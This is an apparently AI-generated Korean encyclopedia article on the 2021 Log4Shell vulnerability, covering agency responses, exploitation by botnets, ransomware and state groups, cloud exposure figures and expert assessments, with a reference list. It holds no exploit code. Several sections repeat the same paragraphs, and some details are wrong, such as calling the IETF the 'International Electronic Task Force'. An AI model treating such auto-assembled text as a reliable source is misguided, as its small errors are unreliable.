미국 사이버보안 및 인프라 보안국(CISA) 국장 젠 이스터리는 이 취약점을 "내 경력에서 본 것 중 가장 심각한 것 중 하나이며, 어쩌면 가장 심각한 것"이라고 언급하며 매우 심각한 문제로 평가했다.[7][51][46][97][131] 그녀는 수억 대의 장치가 영향을 받을 수 있다고 설명하며, 소프트웨어 공급업체들에게 관련 업데이트를 최우선으로 처리할 것을 권고했다.[7][51][46][97][131] 미국 정부와 계약을 맺은 민간 기관들은 2021년 12월 24일까지 해당 취약점을 해결해야 한다는 지침을 받았다.[9] 2022년 1월 4일, 미국 연방거래위원회(FTC)는 Log4j 소프트웨어 업데이트를 위한 합리적인 조치를 취하지 않는 기업에 대해 법적 조치를 취할 수 있음을 경고했다.[52] 또한, 백악관 회의에서는 주로 소수의 자원봉사자들이 관리하는 오픈 소스 소프트웨어의 보안 유지가 국가 안보에 중요하다는 점이 강조되었다. 일부 오픈 소스 프로젝트는 많은 개발자들의 검토를 받지만, 다른 프로젝트들은 보안을 책임질 인력이 부족하다는 현실적인 문제가 지적되었다.[53][54]

독일의 연방정보기술보안청(BSI)은 이 취약점을 최고 위협 수준으로 지정하고 "극히 심각한 위협 상황"이라고 평가했다. 이미 여러 공격이 성공했으며, 취약점의 전체적인 영향을 파악하기는 여전히 어렵다고 보고했다.[55][56][99][100][133][134] 네덜란드의 국가 사이버 보안 센터(NCSC)는 취약한 것으로 알려진 애플리케이션 목록을 만들어 지속적으로 관리하기 시작했다.[57][58]

캐나다 사이버 보안 센터(CCCS)는 여러 기관들에게 즉각적인 대응 조치를 취할 것을 촉구했다.[59][98][132] 캐나다 국세청은 취약점을 인지한 후 온라인 서비스를 일시 중단했으며,[60][103][137] 퀘벡 정부는 예방 조치로서 약 4,000개의 정부 웹사이트 운영을 중단했다.[60][103][137] 벨기에 국방부는 이 취약점을 이용한 해킹 시도를 겪은 후 네트워크 일부를 폐쇄해야 했다.[61]

중국의 공업정보화부는 알리바바 클라우드가 해당 취약점을 발견하고도 정부에 즉시 보고하지 않았다는 이유로, 사이버 보안 위협 정보 공유 파트너로서의 협력을 6개월간 중단하는 조치를 취했다.[62]

시스템 관리자들에게는 상황을 신속히 평가하고, Log4j 라이브러리를 최신 버전으로 업데이트하거나 시스템 설정을 변경하여 의심스러운 외부 조회를 차단하는 등의 완화 조치를 가능한 한 빨리 실행할 것이 권고되었다.[104][138]

6. 2. 기업 및 전문가

클라우드플레어의 CEO 매튜 프린스(Matthew Prince)에 따르면, 이 취약점을 이용하거나 테스트한 증거는 취약점이 공개되기 9일 전인 12월 1일부터 나타났다.[135][101] 사이버 보안 기업 GreyNoise는 여러 IP 주소들이 취약한 서버를 찾기 위해 웹사이트들을 웹 스크래핑하고 있는 것을 확인했다.[136][102]

미국 사이버보안 및 인프라 보안국(CISA)의 국장 젠 이스털리(Jen Easterly)는 이 취약점을 심각한(critical) 것으로 규정하고, 소프트웨어 공급업체에 업데이트를 우선 처리할 것을 권고했다.[131][97] 캐나다 사이버 보안 센터(CCCS)는 관련 기관들에게 즉각적인 조치를 취할 것을 촉구했다.[132][98] 독일 연방정보기술보안청(BSI)은 이 취약점을 기관의 최고 위협 수준으로 지정하고 "매우 심각한 위협 상황"이라고 평가했다. 또한 이미 여러 공격이 성공했으며, 취약점의 전체적인 영향을 파악하기는 어렵다고 보고했다.[133][134][99][100]

캐나다 국세청은 취약점 발견 이후 일시적으로 온라인 서비스를 중단했고, 퀘벡 주 정부는 예방 조치로 약 4,000개의 정부 웹사이트를 폐쇄했다.[137][103]

Wiz사와 EY의 공동 연구에 따르면, 클라우드 엔터프라이즈 환경 중 93%가 Log4Shell에 취약한 것으로 나타났다.[18] 취약한 워크로드 가운데 7%는 인터넷에 직접 노출되어 있어 광범위한 공격 시도에 취약했다. 연구 결과, 취약점 공개 10일 후인 2021년 12월 20일 기준 클라우드 환경에서 취약한 워크로드의 평균 45%만이 패치된 상태였다. 아마존 웹 서비스, 구글 클라우드 플랫폼, 마이크로소프트 애저의 클라우드 데이터 역시 Log4Shell의 영향을 받았다.[9] 마이크로소프트는 2021년 12월까지 국가의 지원을 받는 해커 및 사이버 범죄자들이 Log4Shell 결함을 이용해 시스템을 탐색하는 것을 관찰했으며, 윈도우 및 Azure 고객에게 경계를 늦추지 말 것을 당부했다.[63]

인적 자원 관리 및 인력 관리 분야의 주요 기업 중 하나인 UKG는 대규모 랜섬웨어 공격의 표적이 되었고, 이로 인해 여러 대기업 고객이 영향을 받았다.[20][64] UKG는 해당 랜섬웨어 공격에서 Log4Shell이 악용되었다는 증거는 없다고 밝혔지만, 사이버 보안 기업 Recorded Future의 분석가 앨런 리스카(Allan Liska)는 연관성이 있을 수 있다고 말했다.[64]

대기업이 익스플로잇에 대한 패치를 배포하기 시작하면서, 해커들이 상대적으로 방어가 취약한 대상을 집중적으로 공격함에 따라 중소기업의 위험이 증가했다.[46]

시스템 관리자는 상황을 평가하고, 라이브러리를 업데이트하거나 시스템 속성을 사용해 조회를 비활성화하는 완화 조치를 가능한 한 신속하게 실행하도록 권고받았다.[138][104]

6. 3. 악용 사례

Log4Shell 취약점은 공개되기 이전부터 악용되거나 테스트된 정황이 포착되었다. 클라우드플레어(Cloudflare)의 CEO 매튜 프린스(Matthew Prince)에 따르면, 이러한 증거는 취약점이 공개되기 9일 전인 2021년 12월 1일부터 나타났다.[135][48][101] 사이버 보안 회사 그레이노이즈(GreyNoise)는 여러 IP 주소가 취약한 서버를 찾기 위해 웹사이트를 웹 스크래핑하고 있었다고 밝혔다.[136][49][102]

취약점이 공개되자 여러 국가의 사이버 보안 기관이 즉각 경고에 나섰다. 미국의 사이버보안 및 인프라 보안국(CISA) 국장 젠 이스터리(Jen Easterly)는 이 취약점을 "치명적(critical)"이라고 평가하며 관련 기업들에게 소프트웨어 업데이트를 최우선으로 처리할 것을 권고했다.[131][97] 캐나다 사이버 보안 센터(CCCS) 역시 각 기관에 즉각적인 조치를 촉구했다.[132][98] 독일의 연방정보기술보안청(Bundesamt für Sicherheit in der Informationstechnik, BSI)은 이 취약점을 최고 위협 수준으로 지정하고 "극히 심각한 위협 상황"이라고 발표했으며, 이미 여러 공격이 성공했고 피해 범위를 파악하기 어렵다고 보고했다.[133][134][99][100]

해커들은 이 취약점을 이용하여 자바 기반 시스템의 제어권을 탈취하려 시도했다.[7] 주요 악용 방식은 피해자의 시스템 자원을 이용한 암호화폐 채굴, 봇넷 구축, 스팸 메일 발송, 백도어 설치, 랜섬웨어 공격 등이었다.[7][9][46] 취약점 공개 후 며칠 동안 체크 포인트(Check Point)는 수백만 건의 공격 시도를 탐지했으며, 일부 연구자들은 분당 100건 이상의 공격이 발생하여 전 세계 기업 네트워크의 40% 이상이 공격 시도에 노출되었다고 분석했다.[7][47] 2021년 12월 14일까지 60개 이상의 변종 익스플로잇이 만들어졌다.[65]

여러 봇넷이 Log4Shell 취약점을 스캔하기 시작했는데, 12월 10일까지 무스틱(Muhstik), 미라이, 쓰나미(Tsunami) 봇넷 등이 활동하는 것이 확인되었다.[7][48][50] 랜섬웨어 그룹 콘티(Conti)는 12월 17일부터 이 취약점을 악용하기 시작한 것으로 관찰되었다.[9] 체크 포인트에 따르면 중국과 이란의 국가 지원 해킹 그룹들도 이 취약점을 이용했으며, 2021년 12월 15일에는 이란 해커들이 이스라엘 기업 및 정부 기관 네트워크 침투를 시도했다고 밝혔다.[9][19]

클라우드 환경의 취약성도 심각한 문제로 나타났다. Wiz사와 EY(Ernst & Young)의 공동 연구 결과, 클라우드 엔터프라이즈 환경의 93%가 Log4Shell에 취약한 것으로 나타났다.[18] 이 중 7%는 인터넷에 직접 노출되어 있어 공격에 더욱 취약했다. 취약점 공개 10일 후인 2021년 12월 20일 기준으로 클라우드 환경에서 패치가 완료된 워크로드는 평균 45%에 불과했다. 아마존 웹 서비스, 구글 클라우드, 마이크로소프트 애저 등 주요 클라우드 서비스도 영향을 받았다.[9] 마이크로소프트는 국가 지원 해커와 사이버 범죄자들이 Log4Shell을 통해 시스템을 탐색하는 것을 확인하고 윈도우 및 애저 고객들에게 경계를 늦추지 말 것을 당부했다.[63]

실제 피해 사례도 보고되었다. 캐나다 국세청은 취약점 발견 후 온라인 서비스를 일시 중단했고, 퀘벡 정부는 예방 조치로 약 4,000개의 정부 웹사이트를 폐쇄했다.[137][103] 인적 자원 관리 및 인력 관리 솔루션 기업인 UKG는 랜섬웨어 공격을 받았는데, UKG 측은 Log4Shell 악용 증거는 없다고 밝혔지만 사이버 보안 회사 Recorded Future의 분석가는 연관 가능성을 제기했다.[20][64] 대기업들이 패치를 적용하기 시작하자 해커들은 상대적으로 보안이 취약한 중소기업을 집중 공격하면서 중소기업의 위험이 커졌다.[46]

초기에는 일부 정보 혼선도 있었다. 일부 보안 권고에서는 'log4j-api' 패키지도 취약하다고 잘못 알려졌으나, 추가 연구를 통해 실제로는 'log4j-core' 패키지만 취약하다는 사실이 밝혀졌다.[67][68]

보안 전문가들은 Log4Shell의 심각성을 지속해서 강조했다. 기술 잡지 와이어드(Wired)는 Log4j가 광범위하게 사용되고, 취약점 탐지가 어려우며, 공격 코드를 전달하기 쉽다는 점 때문에 "보안 커뮤니티를 뒤흔드는 심각성, 단순성, 보급성의 조합"을 만들어냈다고 평가했다.[19] 와이어드는 해커들이 초기에는 암호화폐 채굴에 이용하다가, 데이터 브로커가 접근 권한을 판매하고, 결국 랜섬웨어 공격, 스파이 활동, 데이터 파괴 등으로 이어지는 과정을 설명했다.[19] 테너블(Tenable, Inc.)의 CEO이자 미국 컴퓨터 비상 대응팀(US-CERT) 창립 이사인 아미트 요란(Amit Yoran)은 Log4Shell을 "지금까지 단일적으로 가장 크고, 가장 중요한 취약점"이라고 평가하며, 랜섬웨어 공격뿐 아니라 금전 요구 없이 시스템을 파괴하는 데 악용되는 이례적인 사례도 보고되었다고 언급했다.[19] 소포스(Sophos)의 수석 위협 연구원 션 갤러거(Sean Gallagher)는 "솔직히 말해서, 여기서 가장 큰 위협은 이미 접근 권한을 얻은 사람들이 이를 그냥 놔두고 있다는 것이며, 문제를 해결하더라도 누군가가 이미 네트워크에 들어와 있다는 것입니다... 이것은 인터넷이 존재하는 한 계속 존재할 것입니다."라고 경고했다.[19]

한편, ''블룸버그 뉴스''는 2016년 사이버 보안 컨퍼런스에서 Log4j와 유사한 유형의 소프트웨어 취약점에 대한 경고가 있었음에도 아파치 소프트웨어 재단이 이를 수정하지 못한 것에 대한 비판이 제기되었다고 보도했다.[69]

시스템 관리자에게는 상황을 신속히 평가하고, Log4j 라이브러리를 최신 버전으로 업데이트하거나, 시스템 속성을 변경하여 JNDI 룩업 기능을 비활성화하는 등의 완화 조치를 즉시 실행할 것이 권고되었다.[138][104]

7. 분석 및 평가

2021년 12월 14일 기준으로, 전 세계 기업 네트워크의 거의 절반이 활발하게 공격을 받았으며, 24시간 이내에 60개 이상의 익스플로잇 변종이 생성되었다.[65] 체크 포인트(Check Point) 소프트웨어 테크놀로지는 상세한 분석에서 이 상황을 "진정한 사이버 팬데믹"으로 묘사하고 피해 가능성을 "계산할 수 없는" 수준이라고 특징지었다.[66] 일부 초기 권고는 취약한 패키지 수를 과장하여 오탐을 유발하기도 했다. 특히, "log4j-api" 패키지가 취약한 것으로 잘못 알려졌으나, 추가 연구를 통해 주요 "log4j-core" 패키지만 취약한 것으로 밝혀졌다. 이는 원래 문제 스레드[67]와 외부 보안 연구원에 의해 확인되었다.[68]

기술 잡지 와이어드(Wired (magazine))는 여러 취약점을 둘러싼 이전의 과장된 평가와 달리 "Log4j 취약점은 여러 이유로 과장된 기대를 충족시킨다"고 평가했다.[19] 이 잡지는 Log4j가 매우 광범위하게 사용되고 있다는 점, 잠재적 대상이 취약점을 감지하기 어렵다는 점, 그리고 공격자가 피해자에게 코드를 전송하기 쉽다는 점을 지적하며, 이러한 요소들이 "보안 커뮤니티를 뒤흔드는 심각성, 단순성, 보급성의 조합"을 만들어냈다고 설명했다.[19] 또한 와이어드는 Log4Shell을 이용한 해커의 공격 단계를 설명했는데, 초기에는 암호화폐 채굴 그룹이 취약점을 사용하고, 이후 데이터 브로커가 사이버 범죄자에게 시스템 접근 권한("발판")을 판매하며, 이를 구매한 사이버 범죄자들이 랜섬웨어 공격, 스파이 활동, 데이터 파괴 등의 활동을 벌인다고 분석했다.[19]

테너블(Tenable, Inc.)의 CEO이자 미국 컴퓨터 비상 대응팀(United States Computer Emergency Readiness Team)의 창립 이사인 아미트 요란(Amit Yoran)은 "[Log4Shell]은 지금까지 단일적으로 가장 크고, 가장 중요한 취약점"이라고 평가했다. 그는 버그가 공개된 직후 정교한 공격이 시작되었다는 점을 언급하며, "우리는 이미 랜섬웨어 공격에 악용되는 것을 보고 있으며, 이는 다시 한번 큰 경고 신호여야 한다... 또한 공격자들이 몸값을 요구하지 않고 시스템을 파괴하는 데 Log4Shell을 사용한다는 보고도 있는데, 이는 매우 드문 행동이다"라고 덧붙였다.[19] 소포스(Sophos)의 수석 위협 연구원인 션 갤러거(Sean Gallagher)는 "솔직히 말해서, 여기서 가장 큰 위협은 이미 접근 권한을 얻은 사람들이 이를 그냥 놔두고 있다는 것이며, 문제를 해결하더라도 누군가가 이미 네트워크에 들어와 있다는 점이다... 이것은 인터넷이 존재하는 한 계속 존재할 것"이라며 장기적인 위협 가능성을 경고했다.[19]

''블룸버그 뉴스''는 2016년 사이버 보안 컨퍼런스에서 Log4j를 포함한 광범위한 소프트웨어 클래스의 익스플로잇 위험에 대한 경고가 있었음에도 불구하고, 아파치 개발자들이 해당 취약점을 제때 수정하지 못한 것에 대해 비판적인 여론이 일고 있다고 보도했다.[69]

참조

[1] 웹사이트 Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package https://www.lunasec.[...] 2024-06-16
[2] 웹사이트 CVE-2021-44228 https://cve.mitre.or[...] 2021-12-12
[3] 뉴스 Inside the Race to Fix a Potentially Disastrous Software Flaw https://www.bloomber[...] 2024-11-19
[4] 웹사이트 Log4Shell Vulnerability is the Coal in our Stocking for 2021 https://www.mcafee.c[...] 2021-12-12
[5] 웹사이트 Worst Apache Log4j RCE Zero day Dropped on Internet https://www.cyberken[...] 2021-12-12
[6] 뉴스 'The Internet Is on Fire' https://www.wired.co[...] 2021-12-12
[7] 뉴스 Hackers launch more than 1.2m attacks through Log4J flaw https://www.ft.com/c[...] 2021-12-17
[8] 웹사이트 Apache Log4j Security Vulnerabilities https://logging.apac[...] Apache Software Foundation 2021-12-12
[9] 뉴스 The 'most serious' security breach ever is unfolding right now. Here's what you need to know. https://www.washingt[...] 2021-12-20
[10] 웹사이트 Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit https://www.pcmag.co[...] 2021-12-12
[11] 웹사이트 Zero-day in ubiquitous Log4j tool poses a grave threat to the Internet https://arstechnica.[...] 2021-12-12
[12] 웹사이트 Apache projects affected by log4j CVE-2021-44228 https://blogs.apache[...] 2021-12-14
[13] 웹사이트 Update for Apache Log4j2 Issue (CVE-2021-44228) https://aws.amazon.c[...] 2021-12-13
[14] 웹사이트 Apple patches Log4Shell iCloud vulnerability, described as most critical in a decade https://9to5mac.com/[...] 2021-12-14
[15] 웹사이트 Security Vulnerability in Minecraft: Java Edition https://help.minecra[...] Mojang Studios 2021-12-13
[16] 웹사이트 The Internet's biggest players are all affected by critical Log4Shell 0-day https://arstechnica.[...] 2021-12-13
[17] 뉴스 What Is the Log4j Vulnerability? https://www.wsj.com/[...] 2021-12-15
[18] 웹사이트 Enterprises halfway through patching Log4Shell {{!}} Wiz Blog https://www.wiz.io/b[...] 2021-12-20
[19] 뉴스 The Next Wave of Log4J Attacks Will Be Brutal https://www.wired.co[...] 2021-12-17
[20] 웹사이트 As Log4Shell wreaks havoc, payroll service reports ransomware attack https://arstechnica.[...] 2021-12-17
[21] 웹사이트 Another Apache Log4j Vulnerability Is Actively Exploited in the Wild (CVE-2021-44228) https://unit42.paloa[...] Palo Alto Networks 2021-12-10
[22] 웹사이트 Apache Log4j 2 https://logging.apac[...] Apache Software Foundation 2021-12-12
[23] 간행물 Lightweight Directory Access Protocol (LDAP): The Protocol International Electronic Task Force 2006-06
[24] 웹사이트 Inside the Log4j2 vulnerability (CVE-2021-44228) https://blog.cloudfl[...] 2021-12-13
[25] 웹사이트 Lookups https://logging.apac[...] Apache Software Foundation 2021-12-13
[26] 웹사이트 Log4Shell explained – how it works, why you need to know, and how to fix it https://nakedsecurit[...] Sophos 2021-12-12
[27] 웹사이트 The log4j (Log4Shell) Situation https://danielmiessl[...] 2021-12-13
[28] 웹사이트 Patch Now Apache Log4j Vulnerability Called Log4Shell Actively Exploited https://www.trendmic[...] 2021-12-14
[29] 웹사이트 CVE-2021-44228: Proof-of-Concept for Critical Apache Log4j Remote Code Execution Vulnerability Available (Log4Shell) https://www.tenable.[...] 2021-12-14
[30] 웹사이트 CVE-2021-44228 - Log4j RCE 0-day mitigation https://blog.cloudfl[...] 2021-12-13
[31] 웹사이트 Apache Log4j Vulnerability CVE-2021-44228 Raises widespread Concerns https://blogs.junipe[...] 2021-12-12
[32] 웹사이트 Restrict LDAP access via JNDI by rgoers #608 https://github.com/a[...] 2021-12-12
[33] 웹사이트 What is Log4Shell? The Log4j vulnerability explained (and what to do about it) https://www.dynatrac[...] 2021-12-17
[34] 웹사이트 Widespread Exploitation of Critical Remote Code Execution in Apache Log4j {{!}} Rapid7 Blog https://www.rapid7.c[...] 2021-12-10
[35] 웹사이트 CVE-2021-45046 https://cve.mitre.or[...] 2021-12-15
[36] 웹사이트 Second Log4j vulnerability discovered, patch already released https://www.zdnet.co[...] 2021-12-14
[37] 웹사이트 CVE-2021-45105 https://nvd.nist.gov[...] 2022-01-04
[38] 웹사이트 CVE-2021-44832 https://nvd.nist.gov[...] 2022-01-04
[39] 웹사이트 Java(TM) SE Development Kit 8, Update 121 (JDK 8u121) Release Notes https://www.oracle.c[...] Oracle 2017-01-17
[40] 웹사이트 Exploiting JNDI Injections in Java https://www.veracode[...] Veracode 2021-12-15
[41] 웹사이트 Guide: How To Detect and Mitigate the Log4Shell Vulnerability (CVE-2021-44228) https://www.lunasec.[...] 2021-12-13
[42] 웹사이트 Review of the December 2021 Log4j Event https://www.cisa.gov[...] Cyber Safety Review Board 2022-07-11
[43] 웹사이트 Apache Log4j Zero Day Recommendations & Resources https://www.nccgroup[...] NCC Group 2023-01-18
[44] 웹사이트 Alert: Apache Log4j vulnerabilities https://www.ncsc.gov[...] National Cyber Security Centre (United Kingdom) 2021-12-10
[45] 웹사이트 Log4Shell and its traces in a network egress filter https://chasersystem[...] Chaser Systems 2021-12-12
[46] 웹사이트 'Critical vulnerability': Smaller firms may find it harder to stop hackers from exploiting Log4j flaw https://www.usatoday[...]
[47] 웹사이트 Hillicon Valley — Apache vulnerability sets off alarm bells https://thehill.com/[...] 2021-12-14
[48] 웹사이트 Log4j RCE activity began on 1 December as botnets start using vulnerability https://www.zdnet.co[...]
[49] 웹사이트 Exploit activity for Apache Log4j vulnerability - CVE-2021-44228 https://www.greynois[...] 2021-12-10
[50] 웹사이트 Technical Advisory: Zero-day critical vulnerability in Log4j2 exploited in the wild https://businessinsi[...] Bitdefender 2021-12-13
[51] 웹사이트 Statement from CISA Director Easterly on "Log4j" Vulnerability https://www.cisa.gov[...] 2021-12-11
[52] 웹사이트 FTC warns companies to remediate Log4j security vulnerability https://www.ftc.gov/[...] Federal Trade Commission (FTC) 2022-01-04
[53] 뉴스 After Log4j, Open-Source Software Is Now a National Security Issue https://gizmodo.com/[...] 2021-12-13
[54] 뉴스 After Log4j, White House fears the next big open source vulnerability https://www.zdnet.co[...]
[55] 웹사이트 BSI warnt vor Sicherheitslücke https://www.tagessch[...] 2021-12-12
[56] 간행물 Red alarm: Log4Shell vulnerability causes extremely critical threat situation https://www.bsi.bund[...] Federal Office for Information Security 2021-12-11
[57] 웹사이트 Log4Shell: We Are in So Much Trouble https://thenewstack.[...] 2021-12-14
[58] 웹사이트 NCSC-NL/log4shell https://github.com/N[...] National Cyber Security Centre (Netherlands) 2021-12-14
[59] 웹사이트 Statement from the Minister of National Defence on Apache Vulnerability and Call to Canadian Organizations to Take Urgent Action https://cyber.gc.ca/[...] 2021-12-12
[60] 뉴스 Facing cybersecurity threats, Quebec shuts down government websites for evaluation https://www.cbc.ca/n[...] 2021-12-12
[61] 웹사이트 Hackers Exploit Log4j Flaw at Belgian Defense Ministry https://www.wsj.com/[...] The Wall Street Journal 2021-12-21
[62] 웹사이트 Apache Log4j bug: China's industry ministry pulls support from Alibaba Cloud for not reporting flaw to government first https://www.scmp.com[...] 2021-12-22
[63] 웹사이트 Log4j flaw attack levels remain high, Microsoft warns https://www.zdnet.co[...]
[64] 웹사이트 Emerging 'Log4j' software bug spawns worldwide worry over cyber attacks - The Boston Globe https://www.bostongl[...] 2021-12-15
[65] 웹사이트 Almost half of networks probed for Log4Shell weaknesses https://www.computer[...] 2021-12-14
[66] 웹사이트 The numbers behind a cyber pandemic – detailed dive https://blog.checkpo[...] 2021-12-13
[67] 웹사이트 LOG4J2-3201: Limit the protocols JNDI can use and restrict LDAP. https://issues.apach[...] 2021-12-14
[68] 웹사이트 Log4Shell 0-Day Vulnerability: All You Need To Know https://jfrog.com/bl[...] 2021-12-13
[69] 뉴스 Inside the Race to Fix a Potentially Disastrous Software Flaw https://www.bloomber[...] 2021-12-13
[70] 웹사이트 Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package https://www.lunasec.[...] 2021-12-09
[71] 웹사이트 CVE - CVE-2021-44228 https://cve.mitre.or[...] 2021-12-12
[72] 웹사이트 Log4Shell Vulnerability is the Coal in our Stocking for 2021 https://www.mcafee.c[...] 2021-12-12
[73] 웹사이트 Worst Apache Log4j RCE Zero day Dropped on Internet https://www.cyberken[...] 2021-12-12
[74] 뉴스 ‘The Internet Is on Fire’ https://www.wired.co[...] 2021-12-12
[75] 웹사이트 Update for Apache Log4j2 Issue (CVE-2021-44228) https://aws.amazon.c[...] 2021-12-13
[76] 웹사이트 Security Vulnerability in Minecraft: Java Edition https://help.minecra[...] 2021-12-13
[77] 웹사이트 Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit https://web.archive.[...] 2021-12-12
[78] 웹사이트 The Internet's biggest players are all affected by critical Log4Shell 0-day https://arstechnica.[...] 2021-12-13
[79] 웹사이트 Recently uncovered software flaw ‘most critical vulnerability of the last decade’ https://www.theguard[...] 2021-12-12
[80] 웹사이트 Log4j – Apache Log4j Security Vulnerabilities https://logging.apac[...] 2021-12-12
[81] 웹사이트 Log4j – Apache Log4j 2 https://logging.apac[...] 2021-12-12
[82] 웹사이트 RFC 4511: Lightweight Directory Access Protocol (LDAP) https://datatracker.[...] International Electronic Task Force 2021-12-13
[83] 웹사이트 Inside the Log4j2 vulnerability (CVE-2021-44228) https://blog.cloudfl[...] 2021-12-13
[84] 웹사이트 Lookups https://logging.apac[...] Apache Software Foundation 2021-12-13
[85] 웹사이트 The log4j (Log4Shell) Situation https://danielmiessl[...] 2021-12-12
[86] 웹사이트 CVE-2021-44228 - Log4j RCE 0-day mitigation https://blog.cloudfl[...] 2021-12-13
[87] 웹사이트 Apache Log4j Vulnerability CVE-2021-44228 Raises widespread Concerns https://blogs.junipe[...] 2021-12-12
[88] 문서 Apache Log4jの任意のコード実行の脆弱性（CVE-2021-44228）に関する注意喚起 - JPCERT/CC・2021年12月13日 https://www.jpcert.o[...]
[89] 웹사이트 Restrict LDAP access via JNDI by rgoers - Pull Request #608 - apache/logging-log4j2 https://github.com/a[...] 2021-12-12
[90] 웹사이트 LOG4J2-3198: Log4j2 no longer formats lookups in messages by default https://github.com/a[...] 2021-12-14
[91] 웹사이트 Zero-day in ubiquitous Log4j tool poses a grave threat to the Internet https://arstechnica.[...] 2021-12-12
[92] 웹사이트 Log4j – Apache Log4j Security Vulnerabilities https://logging.apac[...] 2021-12-12
[93] 웹사이트 LOG4J2-3208: Disable JNDI by default https://issues.apach[...] 2021-12-14
[94] 웹사이트 Log4Shell explained – how it works, why you need to know, and how to fix it https://nakedsecurit[...] Sophos 2021-12-12
[95] 웹사이트 Java(TM) SE Development Kit 8, Update 121 (JDK 8u121) Release Notes https://www.oracle.c[...] Oracle 2021-12-13
[96] 웹사이트 Guide: How To Detect and Mitigate the Log4Shell Vulnerability (CVE-2021-44228) https://www.lunasec.[...] 2021-12-13
[97] 웹사이트 STATEMENT FROM CISA DIRECTOR EASTERLY ON "LOG4J" VULNERABILITY https://www.cisa.gov[...] 2021-12-14
[98] 웹사이트 Statement from the Minister of National Defence on Apache Vulnerability and Call to Canadian Organizations to Take Urgent Action https://cyber.gc.ca/[...] 2021-12-14
[99] 웹사이트 BSI warnt vor Sicherheitslücke https://www.tagessch[...] 2021-12-14
[100] 웹사이트 Warnstufe Rot: Schwachstelle Log4Shell führt zu extrem kritischer Bedrohungslage https://www.bsi.bund[...] 2021-12-14
[101] 웹사이트 Log4j RCE activity began on December 1 as botnets start using vulnerability https://www.zdnet.co[...] 2021-12-13
[102] 웹사이트 Apache Log4j RCE Attempts https://www.greynois[...] 2021-12-12
[103] 뉴스 Facing cybersecurity threats, Quebec shuts down government websites for evaluation https://www.cbc.ca/n[...] 2021-12-12
[104] 웹사이트 Apache Releases Log4j Version 2.15.0 to Address Critical RCE Vulnerability Under Exploitation https://www.cisa.gov[...] 2021-12-12
[105] 웹인용 Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package https://www.lunasec.[...] 2021-12-12
[106] 웹인용 CVE - CVE-2021-44228 https://cve.mitre.or[...] 2021-12-12
[107] 웹인용 Log4Shell Vulnerability is the Coal in our Stocking for 2021 https://www.mcafee.c[...] 2021-12-12
[108] 웹인용 Worst Apache Log4j RCE Zero day Dropped on Internet https://www.cyberken[...] 2021-12-12
[109] 뉴스 ‘The Internet Is on Fire’ https://www.wired.co[...] 2021-12-12
[110] 웹인용 Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit https://www.pcmag.co[...] 2021-12-12
[111] 웹인용 Zero-day in ubiquitous Log4j tool poses a grave threat to the Internet https://arstechnica.[...] 2021-12-12
[112] 웹인용 Update for Apache Log4j2 Issue (CVE-2021-44228) https://aws.amazon.c[...] 2021-12-13
[113] 웹인용 Security Vulnerability in Minecraft: Java Edition https://help.minecra[...] 2021-12-13
[114] 웹인용 The Internet's biggest players are all affected by critical Log4Shell 0-day https://arstechnica.[...] 2021-12-13
[115] 웹인용 Recently uncovered software flaw ‘most critical vulnerability of the last decade’ https://www.theguard[...] 2021-12-12
[116] 웹인용 Log4j – Apache Log4j Security Vulnerabilities https://logging.apac[...] 2021-12-12
[117] 웹인용 Another Apache Log4j Vulnerability Is Actively Exploited in the Wild (CVE-2021-44228) https://unit42.paloa[...] 팰로앨토 네트웍스 2021-12-10
[118] 웹인용 Log4j – Apache Log4j 2 https://logging.apac[...] 2021-12-12
[119] 웹인용 RFC 4511: Lightweight Directory Access Protocol (LDAP) https://datatracker.[...] International Electronic Task Force 2006-06
[120] 웹인용 Inside the Log4j2 vulnerability (CVE-2021-44228) https://blog.cloudfl[...] 2021-12-10
[121] 웹인용 Lookups https://logging.apac[...] Apache Software Foundation 2021-12-06
[122] 웹인용 Log4Shell explained – how it works, why you need to know, and how to fix it https://nakedsecurit[...] Sophos 2021-12-12
[123] 웹인용 The log4j (Log4Shell) Situation https://danielmiessl[...] 2021-12-13
[124] 웹인용 CVE-2021-44228 - Log4j RCE 0-day mitigation https://blog.cloudfl[...] 2021-12-13
[125] 웹인용 Apache Log4j Vulnerability CVE-2021-44228 Raises widespread Concerns https://blogs.junipe[...] 2021-12-12
[126] 웹인용 Restrict LDAP access via JNDI by rgoers - Pull Request #608 - apache/logging-log4j2 https://github.com/a[...] 2021-12-12
[127] 웹인용 LOG4J2-3198: Log4j2 no longer formats lookups in messages by default https://github.com/a[...] 2021-12-05
[128] 웹인용 LOG4J2-3208: Disable JNDI by default https://issues.apach[...] 2021-12-11
[129] 웹인용 Java(TM) SE Development Kit 8, Update 121 (JDK 8u121) Release Notes https://www.oracle.c[...] Oracle 2017-01-17
[130] 웹인용 Guide: How To Detect and Mitigate the Log4Shell Vulnerability (CVE-2021-44228) https://www.lunasec.[...] 2021-12-13
[131] 웹인용 STATEMENT FROM CISA DIRECTOR EASTERLY ON "LOG4J" VULNERABILITY https://www.cisa.gov[...] 2021-12-12
[132] 웹인용 Statement from the Minister of National Defence on Apache Vulnerability and Call to Canadian Organizations to Take Urgent Action https://www.cyber.gc[...] 2021-12-14
[133] 웹인용 BSI warnt vor Sicherheitslücke https://www.tagessch[...] 2021-12-12
[134] 웹인용 Warnstufe Rot: Schwachstelle Log4Shell führt zu extrem kritischer Bedrohungslage https://www.bsi.bund[...] 2021-12-14
[135] 웹인용 Log4j RCE activity began on December 1 as botnets start using vulnerability https://www.zdnet.co[...] 2021-12-13
[136] 웹인용 Apache Log4j RCE Attempts https://www.greynois[...] 2021-12-12
[137] 뉴스 Facing cybersecurity threats, Quebec shuts down government websites for evaluation https://www.cbc.ca/n[...] 2021-12-12
[138] 웹인용 Apache Releases Log4j Version 2.15.0 to Address Critical RCE Vulnerability Under Exploitation https://www.cisa.gov[...] 2021-12-12


본 사이트는 AI가 위키백과와 뉴스 기사,정부 간행물,학술 논문등을 바탕으로 정보를 가공하여 제공하는 백과사전형 서비스입니다.
모든 문서는 AI에 의해 자동 생성되며, CC BY-SA 4.0 라이선스에 따라 이용할 수 있습니다.
하지만, 위키백과나 뉴스 기사 자체에 오류, 부정확한 정보, 또는 가짜 뉴스가 포함될 수 있으며, AI는 이러한 내용을 완벽하게 걸러내지 못할 수 있습니다.
